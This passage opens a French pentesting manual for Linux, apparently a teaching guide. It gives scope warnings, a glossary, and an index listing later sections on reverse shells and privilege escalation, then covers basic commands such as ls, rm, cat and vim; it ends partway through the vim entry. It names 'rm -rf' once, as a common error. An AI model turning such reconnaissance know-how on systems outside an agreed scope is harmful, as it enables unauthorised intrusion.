Linux pour le Pentesting - Guide de Commandes Essentielles et Avancées

Kali Linux • Ubuntu • Debian • Parrot OS

Raphaël Bouchard-Tremblay

Mise en page : ChatGPT

4 niveaux	16 sections	96 fiches
Progression guidée	Catégories pratiques	Trois exemples par fiche

Ce manuel apprend à lire, comprendre et utiliser les commandes Linux utiles à un test d'intrusion. Il associe une syntaxe réutilisable à des explications simples, des résultats attendus et des limites d'interprétation.

Public : étudiants, professionnels de la cybersécurité et passionnés qui pratiquent sur leurs propres machines, des plateformes de formation ou un environnement faisant l'objet d'une autorisation explicite.

Conseil Utiliser le sommaire pour apprendre par niveau et l'index des fiches pour retrouver rapidement une commande. Les liens internes et les signets du PDF facilitent la consultation quotidienne.

Édition du 30 octobre 2026 • Mise à jour du 1er novembre 2026

Version 1.1 • Options de commandes expliquées

Comment utiliser ce manuel

Commencer par la partie correspondant à ses connaissances, puis revenir aux bases lorsqu'une sortie ou une permission reste difficile à interpréter. Un test d'intrusion, ou pentest, cherche à démontrer des faiblesses dans un périmètre convenu ; l'énumération en constitue une phase d'observation et de collecte.

Niveau	Objectif	Parcours
1 • Débutant cybersécurité	Acquérir les bases du terminal, des fichiers, des permissions, des processus et du réseau.	Sections 1 à 5
2 • Débutant Pentest	Observer les services et réaliser une première énumération structurée.	Sections 6 à 9
3 • Intermédiaire	Corréler annuaire, captures et transferts dans des laboratoires ou audits internes.	Sections 10 à 12
4 • Avancé	Maîtriser les sessions de laboratoire, l'analyse des privilèges et la traçabilité.	Sections 13 à 16

Lire une fiche

Chaque fiche donne une description, la syntaxe, une rubrique « Options les plus utiles », trois exemples, le résultat attendu, un cas d'usage, des bonnes pratiques et les erreurs fréquentes. « Débutant », « intermédiaire » et « avancé » indiquent une progression à l'intérieur de l'outil ; un exemple débutant de Ncat reste réservé au niveau 4 et à son laboratoire.

Comprendre les blocs Shell

Saisir les commandes sans le mot Shell. Les lignes commençant par # sont des commentaires. Un antislash \ en fin de ligne prolonge la commande sur la ligne suivante : aucun espace ne doit le suivre. Les exemples d'une même fiche sont indépendants sauf indication contraire.

Distinguer les effets

Lire un fichier, interroger un service, écrire une configuration et exécuter un programme distant n'ont pas le même impact. Les permissions du compte, les protections du système et la configuration du réseau changent les résultats. « Résultat attendu » décrit le type de résultat, sans promettre qu'une cible exposera les informations.

Attention Une adresse de laboratoire, un préfixe réseau ou un compte dans ce document ne constitue pas une autorisation. Définir les machines, ports, identités, plages horaires et actions permises avant toute opération active.

Comprendre et choisir les options

Une option modifie le comportement d'une commande. Un argument indique sur quoi elle travaille ou la valeur à utiliser. Les tableaux des fiches séparent ces notions lorsque la commande possède surtout des arguments, sous-commandes ou touches interactives.

Forme	Explication simple
-l dans ls -l	Option courte : demande à ls un affichage détaillé.
--version	Option longue : affiche généralement la version, si le programme la prend en charge.
-n 20 dans head -n 20 fichier	Option accompagnée d'une valeur : -n choisit le nombre de lignes et 20 donne ce nombre.
ls -lah	Combine les options -l, -a et -h de ls. Toutes les commandes n'acceptent pas ce regroupement.
--max-time 10	Exemple d'option longue suivie de sa valeur ; certains programmes acceptent aussi une forme avec =.
-- avant un chemin	Pour les programmes qui le reconnaissent, termine la liste des options : le texte suivant est traité comme un argument.
status dans systemctl status ssh	Sous-commande qui choisit une action ; ssh désigne ensuite l'unité à examiner.

Les lettres ne veulent pas toujours dire la même chose

Dans scp, -P choisit le port et -p conserve des attributs. Dans ls, -h rend les tailles lisibles ; dans nikto, -h désigne l'hôte. Respecter la casse et lire l'aide du programme concerné.

Shell • décomposer un exemple

```
ls -lah ~/lab
head -n 20 notes.txt
```

La première commande demande une liste détaillée (-l), incluant les fichiers cachés (-a), avec des tailles lisibles (-h), dans ~/lab. La seconde affiche les vingt premières lignes de notes.txt.

Conseil Les mots en majuscules des tableaux, comme FICHIER, PORT ou N, sont des valeurs à remplacer. Les redirections >, les pipelines et les variables appartiennent au shell : ce ne sont pas des options du programme.

Préparer un environnement reproductible

Utiliser une machine virtuelle d'audit et une ou plusieurs machines cibles isolées. Conserver un instantané avant les exercices de modification. Un compte ordinaire suffit pour la plupart des lectures ; employer sudo seulement quand l'action et le périmètre le justifient.

Élément des exemples	Signification et adaptation
192.0.2.10	Poste opérateur A ; adresse de documentation à remplacer par son adresse réelle de laboratoire.
192.0.2.20	Cible B ; remplacer uniquement par une machine explicitement autorisée.
192.0.2.0/24	Segment fictif ; ne l'utiliser que si tout le préfixe réel est dans le périmètre.
eth0	Interface d'exemple ; relever le nom réel avec ip -br address.
lab.test / dc.lab.test	Domaine fictif et contrôleur ; utiliser les noms et la résolution du laboratoire.
analyste / auditeur	Comptes préexistants à adapter ; auditeur désigne un accès fourni, pas un compte à créer sur une cible.
notes.txt, mots.txt, capture.pcapng	Fichiers d'exercice ; les créer ou les fournir avant la commande qui les lit.

Shell • créer un espace de travail local

```
bash
umask 077
mkdir -p ~/lab/mission/{notes,scans,preuves,export}
cd ~/lab/mission
printf "%s\n" admin documentation test > mots.txt
printf "%s\n" "Observation de laboratoire" > notes.txt
```

Ces fichiers sont volontairement simples. Les autres exemples supposent les fichiers, groupes, services ou captures indiqués ; un nom illustratif n'est pas un élément déjà présent sur votre machine.

Conseil Sur ces distributions, installer les outils depuis les dépôts officiels disponibles. Lire commande --help ou man commande avant de reprendre une option. Les outils spécialisés et historiques ne sont pas tous préinstallés ; ne pas mélanger les dépôts Kali et Ubuntu.

Acronymes et termes de référence

Les développements sont fournis ici avant les fiches. Les noms de produits et de programmes ne sont pas tous des acronymes.

Terme	Développement	Sens pratique
ACL	Access Control List	Liste de contrôle d’accès qui complète les permissions classiques.
AD	Active Directory	Annuaire Microsoft des comptes, machines, groupes et droits.
ARP	Address Resolution Protocol	Résolution d’adresses IPv4 en adresses matérielles locales.
Bash	Bourne Again SHell	Interpréteur de commandes utilisé dans les exemples.
CE	Community Edition	Édition communautaire ; ici, édition de BloodHound.
CIDR	Classless Inter-Domain Routing	Notation des préfixes réseau, par exemple /24.
CPU	Central Processing Unit	Processeur ; sa consommation aide à suivre la charge.
CSV	Comma-Separated Values	Tableau texte séparé par des virgules ; peut contenir des champs cités.
DC	Domain Controller / Domain Component	Contrôleur de domaine ; dans un nom LDAP, composant de domaine.
DN	Distinguished Name	Nom complet d’un objet dans un annuaire LDAP.
DNS	Domain Name System	Système qui associe notamment les noms aux adresses.
GNU	GNU’s Not Unix	Projet fournissant de nombreux outils présents sous Linux.
HTTP / HTTPS	Hypertext Transfer Protocol / Secure	Protocole web ; HTTPS le protège par TLS.

Acronymes et termes de référence • suite 2

Les développements sont fournis ici avant les fiches. Les noms de produits et de programmes ne sont pas tous des acronymes.

Terme	Développement	Sens pratique
ICMP	Internet Control Message Protocol	Messages de contrôle réseau, notamment ceux de ping.
IP	Internet Protocol	Adressage et acheminement de paquets ; versions IPv4 et IPv6.
JSON	JavaScript Object Notation	Format texte structuré utilisé pour certains exports.
LDAP / LDAPS	Lightweight Directory Access Protocol	Interrogation d’annuaire ; LDAPS ajoute TLS.
MAC	Media Access Control	Adresse d’une interface sur le lien réseau.
NetBIOS	Network Basic Input Output System	Famille historique de services de noms et sessions.
Nmap / NSE	Network Mapper / Nmap Scripting Engine	Scanner réseau et moteur de scripts de Nmap.
OS	Operating System	Système d’exploitation ; utilisé dans Parrot OS et l’option Nmap -O.
PATH	Nom de variable du shell, pas un acronyme	Liste ordonnée de dossiers où chercher les programmes.
PCAP / PCAPNG	Packet Capture / Packet Capture Next Generation	Formats d’enregistrement de paquets réseau.
PDF	Portable Document Format	Format de lecture et d’impression de ce manuel.
PID / PPID	Process Identifier / Parent Process Identifier	Identifiant d’un processus et de son parent.
PTY	Pseudo-Terminal	Interface de terminal logiciel utile aux programmes interactifs.

Acronymes et termes de référence • suite 3

Les développements sont fournis ici avant les fiches. Les noms de produits et de programmes ne sont pas tous des acronymes.

Terme	Développement	Sens pratique
RPC	Remote Procedure Call	Mécanisme d’appel de fonctions sur un service distant.
SCP / SFTP	Secure Copy / SSH File Transfer Protocol	Outil de copie et protocole de transfert via SSH.
SGID / SUID	Set Group ID / Set User ID	Bits spéciaux de groupe ou d’utilisateur effectif.
SHA-256	Secure Hash Algorithm, 256 bits	Empreinte de contenu ; ne chiffre pas le fichier.
SMB	Server Message Block	Protocole de partage de fichiers et de services.
SSH	Secure Shell	Connexion distante chiffrée avec authentification.
TCP / UDP	Transmission Control Protocol / User Datagram Protocol	Transport connecté / transport par datagrammes.
TLS	Transport Layer Security	Protection chiffrée des échanges avec vérification d’identité.
URI / URL	Uniform Resource Identifier / Locator	Identifiant d’une ressource / adresse permettant de la localiser.
UTC	Coordinated Universal Time	Temps universel coordonné, utile aux chronologies.
YAML	YAML Ain’t Markup Language	Format de données structurées utilisé par certains outils.

Sommaire des quatre niveaux

Niveau 1 • Débutant cybersécurité

01 Commandes Linux de base · p. 12

02 Navigation et recherche · p. 28

03 Gestion des permissions · p. 41

04 Gestion des processus · p. 48

05 Réseau Linux · p. 60

Niveau 2 • Débutant Pentest

06 Scanner de ports · p. 69

07 Énumération web · p. 72

08 Énumération réseau · p. 80

09 Énumération SMB · p. 87

Niveau 3 • Intermédiaire

10 Énumération Active Directory · p. 91

11 Capture réseau · p. 95

12 Transfert de fichiers · p. 99

Niveau 4 • Avancé

13 Reverse shells et bind shells · p. 104

14 Escalade de privilèges Linux · p. 106

15 Journalisation et logs · p. 113

16 Astuces Linux pour pentesters · p. 117

Compléments : tableaux Nmap, mauvaises configurations, aide-mémoire, exercices progressifs, compatibilité, références et index des fiches.

Index des fiches

Commande ou fiche	Section	Niveau	Page
alias	16	1	118
arp	5	2	63
arp-scan	8	2	81
auth.log et syslog	15	2	116
awk	2	2	35
bash	1	1	13
bg	4	1	55
bloodhound-python	10	3	93
cat	1	1	21
cd	1	1	16
chgrp	3	1	44
chmod	3	1	42
chown	3	1	43
cp	1	1	19
crackmapexec	9	2	88
curl	7	2	73
cut	2	1	39
dmesg	15	2	115
egrep et grep -E	2	2	34
enum4linux	8	2	84
enum4linux-ng	9	2	90
feroxbuster	7	3	79
ffuf	7	2	77
fg	4	1	56
find	2	1	29
find pour les permissions	14	3	109
getcap	14	3	110
getfacl	3	2	46
gobuster	7	2	78
grep	2	1	33
gzip	16	2	123
head	1	1	23

Index des fiches • suite 2

Commande ou fiche	Section	Niveau	Page
history	16	1	119
htop	4	1	51
ifconfig	5	1	62
ip	5	1	61
jobs	4	1	54
journalctl	15	2	114
kill	4	1	52
killall	4	2	53
ldapsearch	10	3	92
less	1	1	22
linpeas	14	4	111
locate	2	1	30
ls et ls -la	1	1	15
mkdir	1	1	17
mv	1	1	20
nano	1	1	25
nbtscan	8	2	83
nc	12	2	103
ncat en laboratoire	13	4	105
netdiscover	8	2	82
netexec et nxc	10	3	94
netstat	5	2	67
nikto	7	2	76
nmap	6	2	71
nohup	4	2	57
ping	5	1	65
ps	4	1	49
pspy	14	4	112
pwd	1	1	14
python3 -m http.server	12	2	102
Redirections et pipelines Bash	16	2	120
rm	1	1	18

Index des fiches • suite 3

Commande ou fiche	Section	Niveau	Page
route	5	1	64
rpcclient	8	2	85
rsync	12	3	101
scp	12	2	100
sed	2	2	36
service	4	2	59
setfacl	3	2	47
smbclient	8	2	86
smbmap	9	2	89
sort	2	1	37
ss	5	2	68
sudo -l	14	3	108
systemctl	4	2	58
tail	1	1	24
tar	16	2	121
tcpdump	11	3	96
tee	16	2	124
top	4	1	50
touch	1	1	27
traceroute	5	2	66
tshark	11	3	97
umask	3	2	45
uniq	2	1	38
vim	1	2	26
watch	16	2	125
wget	7	2	74
whatweb	7	2	75
whereis	2	1	32
which	2	1	31
wireshark	11	3	98
xargs	2	2	40
zip	16	2	122

NIVEAU 1 • DÉBUTANT CYBERSÉCURITÉ

1 Commandes Linux de base

Objectif

Se repérer dans un terminal et manipuler des fichiers sans perdre ses données.

Explication simple

Le terminal est la fenêtre de saisie. Le shell est le programme qui interprète les commandes. Bash signifie Bourne Again SHell. Le compte root possède les privilèges administrateur ; sudo permet une élévation ponctuelle si la politique locale l'autorise. Les exemples utilisent Bash, même si Kali peut ouvrir Zsh par défaut.

Difficulté du parcours : niveau 1. Les fiches précisent le niveau de chaque outil.

Commandes essentielles

pwd, ls, cd, mkdir, cat, less, touch et nano.

Commandes avancées

Copie avec conservation des attributs, lecture de journaux en continu, édition contrôlée et vérification de syntaxe Bash.

Cas d'utilisation réels et transposables

Laboratoire : créer un dossier par machine, y classer les résultats et lire une configuration. Audit interne : copier une configuration avant modification et comparer les permissions.

Repères pour comprendre

Un chemin absolu commence par /. Un chemin relatif part du dossier courant. Le point . désigne ce dossier, .. son parent et ~ le dossier personnel. Linux distingue les majuscules des minuscules. Dans commande [options], les crochets signalent un élément facultatif : ne pas les saisir. Les lignes des blocs Shell n'incluent pas le symbole d'invite $ ou #.

Conseil Travailler dans ~/lab ; vérifier pwd avant une suppression ; mettre les chemins entre guillemets ; utiliser Tab pour compléter les noms.

Attention Confondre / et ~ ; exécuter tout avec sudo ; croire que rm envoie à la corbeille ; coller une commande sans la lire.

bash

Description

Interprète les commandes et exécute des scripts. Un script est un fichier texte contenant une suite d'instructions.

Syntaxe • Shell

```
bash [options] [script.sh]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
--version	Affiche la version installée, sans lancer de script. Utile pour vérifier la compatibilité.
-n	Vérifie la syntaxe sans exécuter le script : bash -n audit.sh. Ne détecte pas toutes les erreurs de logique.
-o pipefail	Rend un pipeline en échec si une de ses étapes échoue, même si la dernière réussit.
-c "commande"	Exécute le texte fourni comme une commande Bash ; protéger les guillemets et ne pas y injecter une saisie non fiable.
-x	Affiche les commandes après développement des variables pour le diagnostic ; peut révéler des secrets.

Exemple débutant • Shell

```
bash --version
```

Exemple intermédiaire • Shell

```
bash -n audit.sh
```

Exemple avancé • Shell

```
bash -o pipefail audit.sh
```

Résultat attendu

La version est affichée ; -n vérifie la syntaxe sans exécuter ; pipefail fait échouer un pipeline si une étape échoue.

Cas d'utilisation en pentest

Vérifier un petit script d'inventaire avant son utilisation sur une machine de test.

Bonnes pratiques

• Lire le script avant exécution.

• Utiliser une première ligne #!/usr/bin/env bash pour un script Bash.

Erreurs fréquentes

• Lancer avec sh un script propre à Bash.

• Utiliser bash -x avec des secrets : les valeurs peuvent être affichées.

SECTION 01 • COMMANDES LINUX DE BASE | NIVEAU 1

pwd

Description

Affiche le dossier de travail courant. C’est le premier contrôle avant toute action sur des fichiers.

Syntaxe • Shell

```
pwd [-L|-P]
```

Options les plus utiles

Option ou argument	Ce qu’il fait et quand l’utiliser
-L	Affiche le chemin logique, qui peut conserver les noms des liens symboliques traversés.
-P	Affiche le chemin physique en résolvant les liens symboliques. Utile pour confirmer l’emplacement réel.
Sans option	Affiche le dossier courant ; dans Bash, le comportement habituel est celui de -L.

Exemple débutant • Shell

```
pwd
```

Exemple intermédiaire • Shell

```
pwd -P
```

Exemple avancé • Shell

```
dossier=$(pwd -P)
printf "%s\n" "$dossier"
```

Résultat attendu

Le chemin absolu apparaît. -P résout les liens symboliques vers leur emplacement physique.

Cas d’utilisation en pentest

Confirmer le dossier où seront enregistrées les preuves d’un audit.

Bonnes pratiques

• Exécuter pwd après une connexion distante.

• Conserver le chemin dans les notes de travail.

Erreurs fréquentes

• Supposer que deux terminaux partagent le même dossier.

• Confondre le dossier courant et le dossier personnel.

SECTION 01 • COMMANDES LINUX DE BASE | NIVEAU 1

ls et ls -la

Description

Liste les entrées d'un dossier. -l détaille les attributs ; -a inclut les noms commençant par un point.

Syntaxe • Shell

```
ls [options] [chemin]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-l	Affiche une ligne détaillée par entrée : droits, propriétaire, groupe, taille et date.
-a	Inclut les noms cachés commençant par un point, ainsi que . et .. ; utile pour voir .env ou .ssh.
-h	Rend les tailles lisibles, par exemple 4,0K ; s'emploie notamment avec -l.
-d	Affiche le dossier lui-même au lieu de son contenu ; ls -ld dossier montre ses permissions.
-t	Trie selon la date de modification, du plus récent au plus ancien ; -r inverse l'ordre.
--time-style=long-iso	Avec -l, affiche les dates sous une forme régulière incluant l'année ; facilite la comparaison.

Exemple débutant • Shell

```
ls
```

Exemple intermédiaire • Shell

```
ls -la ~/lab
```

Exemple avancé • Shell

```
ls -lah --time-style=long-iso ~/lab
```

Résultat attendu

Les noms, permissions, propriétaires, tailles et dates sont visibles. -h rend les tailles plus lisibles.

Cas d'utilisation en pentest

Repérer un fichier .env, un répertoire .ssh ou une sauvegarde dans le périmètre autorisé.

Bonnes pratiques

• Lire le type au début de la ligne : d pour dossier, - pour fichier, l pour lien.

• Utiliser stat si une date précise est nécessaire.

Erreurs fréquentes

• Traiter la sortie de ls comme un format fiable pour un script.

• Croire qu'un fichier caché est protégé.

cd

Description

Change le dossier courant du shell. Sans argument, retourne au dossier personnel.

Syntaxe • Shell

```
cd [dossier]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
Sans argument	Revient dans le dossier personnel ; cd seul équivaut normalement à cd "$HOME".
..	Désigne le parent : cd .. remonte d'un niveau. C'est un argument, pas une option.
-	Revient au dossier précédent et affiche son chemin ; pratique pour alterner entre deux emplacements.
-P	Suit le chemin physique, en résolvant les liens symboliques : cd -P chemin.
~ et chemins cités	~ représente le dossier personnel. Écrire cd "Mes notes" pour un nom contenant un espace.

Exemple débutant • Shell

```
cd ~/lab
```

Exemple intermédiaire • Shell

```
cd ../
pwd
```

Exemple avancé • Shell

```
cd /etc && pwd
cd -
```

Résultat attendu

Le shell se place dans le dossier demandé ; cd - revient au dossier précédent.

Cas d'utilisation en pentest

Passer des résultats réseau aux notes d'une même mission sans mélanger les fichiers.

Bonnes pratiques

• Lier une action au succès de cd avec &&.

• Entourer de guillemets les chemins avec espaces.

Erreurs fréquentes

• Écrire cd/etc sans espace.

• Continuer une suppression après l'échec de cd.

• Oublier que cd agit seulement dans le shell courant.

mkdir

Description

Crée un ou plusieurs dossiers. -p crée aussi les parents manquants.

Syntaxe • Shell

```
mkdir [options] dossier...
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-p	Crée les parents manquants et accepte un dossier déjà présent : mkdir -p mission/scans.
-m MODE	Définit les droits du dossier créé, par exemple -m 700 pour un dossier privé ; les parents de -p sont à contrôler séparément.
-v	Affiche chaque dossier effectivement créé ; utile pour voir ce qu'une préparation a changé.
--	Termine les options ; mkdir -- -notes permet de créer un dossier dont le nom commence par un tiret.

Exemple débutant • Shell

```
mkdir notes
```

Exemple intermédiaire • Shell

```
mkdir -p ~/lab/mission/{notes,scans,preuves}
```

Exemple avancé • Shell

```
mkdir -m 700 ~/lab/prive
```

Résultat attendu

Les dossiers sont créés ; le mode 700 réserve l'accès au propriétaire.

Cas d'utilisation en pentest

Préparer une arborescence séparant observations, résultats bruts et éléments du rapport.

Bonnes pratiques

• Choisir des noms courts et explicites.

• Limiter les droits des dossiers contenant des données sensibles.

Erreurs fréquentes

• Oublier -p si un parent n'existe pas.

• Croire que -m impose aussi les droits de tous les parents créés avec -p.

rm

Description

Supprime des fichiers ; -r descend dans un dossier. La suppression ne passe généralement pas par une corbeille.

Syntaxe • Shell

```
rm [options] -- chemin...
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-i	Demande confirmation avant chaque suppression ; adapté à quelques fichiers en travail manuel.
-I	Demande une confirmation globale dans certains cas, notamment une suppression récursive ; moins détaillé que -i.
-r ou -R	Supprime un dossier et son contenu. Vérifier la cible et les sauvegardes avant utilisation.
-f	Ignore les fichiers absents et n'interroge pas l'utilisateur ; augmente le risque et ne contourne pas les permissions.
-v	Affiche les chemins supprimés ; ne remplace ni une prévisualisation ni une sauvegarde.
--	Empêche qu'un nom commençant par un tiret soit interprété comme une option : rm -i -- -notes.

Exemple débutant • Shell

```
rm -i -- brouillon.txt
```

Exemple intermédiaire • Shell

```
rm -ri -- essais/
```

Exemple avancé • Shell

```
find ./essais -maxdepth 1 -type f -name "*.tmp" -print
# Après examen de la liste seulement :
find ./essais -maxdepth 1 -type f -name "*.tmp" -delete
```

Résultat attendu

-i demande confirmation. La dernière commande efface les fichiers .tmp exactement sélectionnés.

Cas d'utilisation en pentest

Nettoyer uniquement les fichiers temporaires créés pendant un exercice.

Bonnes pratiques

• Vérifier pwd, la cible et les sauvegardes.

• Préférer une sélection précise et une prévisualisation.

Erreurs fréquentes

• Lancer rm -rf sur un chemin non vérifié.

• Utiliser une variable vide ou un joker trop large.

• Penser que rm est un effacement sécurisé.

cp

Description

Copie un fichier ou une arborescence. La source reste en place.

Syntaxe • Shell

```
cp [options] source destination
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-i	Demande confirmation avant d'écraser une destination existante.
-R	Copie un dossier et ses descendants ; nécessaire pour une arborescence.
-a	Copie une arborescence en conservant autant que possible attributs et liens ; correspond au mode archive GNU.
--preserve=mode,timestamps	Demande de conserver permissions et dates ; les possibilités dépendent des droits et du support.
-v	Affiche les copies réalisées ; utile pour vérifier source et destination.
--	Sépare les options des chemins ; protège un nom de fichier commençant par un tiret.

Exemple débutant • Shell

```
cp notes.txt notes-copie.txt
```

Exemple intermédiaire • Shell

```
cp -a configs/ sauvegarde-configs/
```

Exemple avancé • Shell

```
cp --preserve=mode,timestamps -- config.ini config.ini.bak
```

Résultat attendu

Une copie est créée ; -a conserve autant que possible les attributs et les liens.

Cas d'utilisation en pentest

Conserver une configuration de laboratoire avant une modification autorisée.

Bonnes pratiques

• Contrôler si la destination existe déjà.

• Comparer les empreintes avec sha256sum pour une copie probante.

Erreurs fréquentes

• Écraser un fichier sans s'en apercevoir.

• Croire que -a garantit tous les attributs sur tous les systèmes de fichiers.

mv

Description

Déplace ou renomme un fichier. Un déplacement peut écraser une destination existante.

Syntaxe • Shell

```
mv [options] source destination
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-i	Demande confirmation avant de remplacer un fichier existant à destination.
-n	Ne remplace pas une destination existante ; vérifier le résultat, car le fichier peut alors ne pas être déplacé.
-v	Affiche les déplacements ou renommages réalisés.
--backup=numbered	Conserve une sauvegarde numérotée d'une destination remplacée, avec GNU mv.
--	Termine l'analyse des options ; utile pour les noms commençant par un tiret.

Exemple débutant • Shell

```
mv brouillon.txt notes.txt
```

Exemple intermédiaire • Shell

```
mv -i -- notes.txt ~/lab/mission/notes/
```

Exemple avancé • Shell

```
mv --backup=numbered -- rapport.txt archives/
```

Résultat attendu

Le fichier change de nom ou de dossier ; GNU mv peut créer une sauvegarde numérotée de la destination.

Cas d'utilisation en pentest

Classer les résultats validés et conserver les versions précédentes d'un rapport.

Bonnes pratiques

• Utiliser -i en travail manuel.

• Vérifier le dossier de destination.

Erreurs fréquentes

• Confondre déplacement et copie.

• Supposer qu'un déplacement entre disques est instantané ou atomique.

cat

Description

Affiche ou concatène des fichiers texte. Convient surtout aux fichiers courts.

Syntaxe • Shell

```
cat [options] [fichier...]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-n	Numérote toutes les lignes ; permet de désigner précisément une observation.
-b	Numérote seulement les lignes non vides ; prend le dessus sur -n.
-s	Réduit les suites de lignes vides à une seule ligne vide, dans la sortie seulement.
-A	Rend visibles les tabulations et fins de ligne, ainsi que certains caractères non imprimables ; utile au diagnostic.
Plusieurs fichiers	cat a.txt b.txt les affiche dans l'ordre. > sortie.txt est une redirection du shell, pas une option de cat.

Exemple débutant • Shell

```
cat notes.txt
```

Exemple intermédiaire • Shell

```
cat -n config.ini
```

Exemple avancé • Shell

```
cat partie1.txt partie2.txt > ensemble.txt
```

Résultat attendu

Le texte s'affiche ; -n numérote les lignes ; > écrit un nouveau contenu dans le fichier cible.

Cas d'utilisation en pentest

Lire un fichier de configuration et réunir des notes de laboratoire.

Bonnes pratiques

• Utiliser less pour les grands fichiers.

• Masquer les secrets avant d'inclure le texte dans un rapport.

Erreurs fréquentes

• Lire un binaire qui perturbe le terminal.

• Écrire cat notes.txt > notes.txt : le fichier est tronqué avant lecture.

less

Description

Permet de parcourir un texte sans le charger dans un éditeur. q quitte, /mot recherche et n passe au résultat suivant.

Syntaxe • Shell

```
less [options] fichier
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-N	Affiche les numéros de ligne pendant la lecture.
-S	Affiche les longues lignes sans les replier ; se déplacer horizontalement pour lire la suite.
+F	Commence en suivi des nouvelles lignes ; Ctrl+C revient à la navigation, puis q quitte.
-i	Ignore la casse pour une recherche saisie entièrement en minuscules ; une majuscule rend la recherche sensible à la casse.
-R	Autorise certains codes de couleur du terminal ; à réserver à une source maîtrisée.
/mot puis n	Recherche mot, puis passe à la correspondance suivante. Ce sont des touches interactives, pas des options de lancement.

Exemple débutant • Shell

```
less notes.txt
```

Exemple intermédiaire • Shell

```
less -N /etc/services
```

Exemple avancé • Shell

```
less +F application.log
```

Résultat attendu

Le texte est paginé ; -N affiche les numéros ; +F suit les ajouts. Ctrl+C revient à la navigation.

Cas d'utilisation en pentest

Examiner un grand journal et rechercher un événement sans le modifier.

Bonnes pratiques

• Rechercher un identifiant ou un horaire précis.

• Utiliser -S pour éviter le retour visuel à la ligne si nécessaire.

Erreurs fréquentes

• Croire que less modifie le fichier.

• Utiliser un visualiseur privilégié doté d'échappements shell sur une machine sensible.

head

Description

Affiche le début d’un fichier, dix lignes par défaut.

Syntaxe • Shell

```
head [-n nombre] fichier
```

Options les plus utiles

Option ou argument	Ce qu’il fait et quand l’utiliser
-n N	Affiche les N premières lignes : head -n 20 fichier lit vingt lignes. Sans option, la limite habituelle est dix.
-c N	Affiche les N premiers octets, pas les lignes : -c 256 est utile pour examiner un en-tête.
-q	Avec plusieurs fichiers, n’ajoute pas de titre portant leur nom.
-v	Affiche un titre avec le nom du fichier, même lorsqu’il n’y en a qu’un.

Exemple débutant • Shell

```
head notes.txt
```

Exemple intermédiaire • Shell

```
head -n 20 resultats.txt
```

Exemple avancé • Shell

```
head -c 256 reponse.bin
```

Résultat attendu

Les premières lignes ou les premiers octets sont lus sans parcourir visuellement tout le fichier.

Cas d’utilisation en pentest

Vérifier le format d’un résultat de scan avant de le traiter.

Bonnes pratiques

• Préciser -n pour un nombre de lignes.

• Distinguer texte et binaire avant affichage.

Erreurs fréquentes

• Déduire le contenu complet d’un fichier à partir de son début.

• Confondre -c, octets, et -n, lignes.

tail

Description

Affiche la fin d’un fichier et peut suivre les nouvelles lignes.

Syntaxe • Shell

```
tail [options] fichier
```

Options les plus utiles

Option ou argument	Ce qu’il fait et quand l’utiliser
-n N	Affiche les N dernières lignes : tail -n 50 application.log.
-f	Attend les ajouts et les affiche ; suit normalement le fichier déjà ouvert.
-F	Suit le nom du fichier et réessaie s’il est remplacé ou recréé, par exemple après une rotation.
-n +N	Commence à la ligne N puis affiche la suite : -n +2 ignore un en-tête d’une ligne.
-c N	Sélectionne les N derniers octets plutôt que les lignes.

Exemple débutant • Shell

```
tail notes.txt
```

Exemple intermédiaire • Shell

```
tail -n 50 application.log
```

Exemple avancé • Shell

```
tail -F application.log
```

Résultat attendu

Les dernières lignes apparaissent ; -F suit le nom du fichier et réessaie après une rotation.

Cas d’utilisation en pentest

Observer les erreurs générées pendant un test web autorisé.

Bonnes pratiques

• Noter le fuseau horaire des événements.

• Arrêter le suivi avec Ctrl+C.

Erreurs fréquentes

• Croire que tail -f suit toujours un fichier remplacé.

• Conclure à une absence d’événement après n’avoir lu que dix lignes.

SECTION 01 • COMMANDES LINUX DE BASE | NIVEAU 1

nano

Description

Éditeur de texte simple. Ctrl+O enregistre, Entrée confirme le nom et Ctrl+X quitte.

Syntaxe • Shell

```
nano [options] fichier
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-l	Affiche les numéros de ligne ; facilite le repérage d'une erreur de configuration.
-B	Conserve une sauvegarde de l'ancienne version lors de l'enregistrement.
-v	Ouvre en mode de consultation ; aide à éviter une modification involontaire.
+N	Place le curseur à la ligne N : nano +25 config.ini. Il s'agit d'un argument spécial.
Ctrl+O / Ctrl+X	Enregistre / quitte. Ces touches s'utilisent dans l'éditeur ; elles ne se saisissent pas sur la ligne de commande.

Exemple débutant • Shell

```
nano notes.txt
```

Exemple intermédiaire • Shell

```
nano -l config.ini
```

Exemple avancé • Shell

```
nano -B config.ini
```

Résultat attendu

Le fichier est ouvert ; -l montre les lignes et -B sauvegarde l'ancienne version lors de l'écriture.

Cas d'utilisation en pentest

Rédiger des notes ou corriger une configuration dans une machine de laboratoire.

Bonnes pratiques

• Lire la barre de raccourcis : ^ signifie Ctrl.

• Conserver une copie avant une modification.

Erreurs fréquentes

• Enregistrer sous un mauvais nom.

• Modifier une configuration sans vérifier la syntaxe propre au service.

vim

Description

Éditeur à modes. i passe en insertion ; Échap revient aux commandes ; :w enregistre ; :q quitte ; :q! abandonne les changements.

Syntaxe • Shell

```
vim [options] fichier
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-R	Ouvre en lecture seule demandée ; ce mode n'est pas une protection contre un utilisateur qui choisit de le contourner.
-d	Compare les fichiers fournis et affiche leurs différences : vim -d original copie.
+N	Ouvre directement à la ligne N : vim +25 config.ini.
-u NONE	Ignore les fichiers de configuration personnels ; utile pour diagnostiquer un problème lié aux réglages.
i / Échap / :w / :q	Insérer / revenir aux commandes / enregistrer / quitter : ce sont des actions dans Vim, pas des options de lancement.

Exemple débutant • Shell

```
vim notes.txt
```

Exemple intermédiaire • Shell

```
vim -R config.ini
```

Exemple avancé • Shell

```
vim -d config.ini config.ini.bak
```

Résultat attendu

Le mode normal permet la navigation ; -R demande une lecture seule ; -d compare deux fichiers.

Cas d'utilisation en pentest

